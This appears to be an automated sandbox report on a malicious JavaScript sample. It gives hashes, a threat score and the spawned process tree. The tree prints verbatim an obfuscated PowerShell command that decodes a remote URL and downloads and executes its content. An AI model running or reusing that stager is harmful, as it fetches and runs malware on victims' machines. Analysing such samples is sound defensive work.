Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
02-10-2024 01:33
General
-
Target
beb8557e73b32ed094c27b9191290654d50244e4ced7837cd73ecb683c8e7607.js
-
Size
164KB
-
MD5
ecd4a67605f807d8c090e20789313149
-
SHA1
c701136cd1e3b49f1bd508a3e9673de3ea366f57
-
SHA256
beb8557e73b32ed094c27b9191290654d50244e4ced7837cd73ecb683c8e7607
-
SHA512
86a9ed3df1c89c337b85c303696a980e5f4298e3f65b32143f436dbbbf719ec3db9ecd23f36543804e2f7b9ee209baebd25116707a9a017cace2e8ae852fc8d7
-
SSDEEP
3072:i8tKjyET7JCZiUyGIEM4oTNVbBsDxHodK/ytASP80ArML2N2BRHrEYyvlmDhXUI:TtKjyKWuuoxV6xHodKqtdIj6RL1yADhT
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\beb8557e73b32ed094c27b9191290654d50244e4ced7837cd73ecb683c8e7607.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $mpbsqfk='ur';new-alias press c$($mpbsqfk)l;$dkaliapr=(3676,3678,3695,3685,3691,3684,3691,3690,3687,3619,3689,3684,3685,3620,3622,3619,3685,3677,3685,3636,3688,3634,3682,3678,3683,3689,3688,3622,3624);$powwsc=('bronx','get-cmdlet');$ybfyzktyjjh=$dkaliapr;foreach($owqvhj in $ybfyzktyjjh){$grsqtbw=$owqvhj;$gjbuox=$gjbuox+[char]($grsqtbw-3573);$tcfatjtc=$gjbuox;$gcvqsceoe=$tcfatjtc};$xmsoqabkzvjer[2]=$gcvqsceoe;$ekvpyuzls='rl';$soiknkrffsh=1;.$([char](9992-9887)+'e'+'x')(press -useb $gcvqsceoe)1⤵
- Process spawned unexpected child process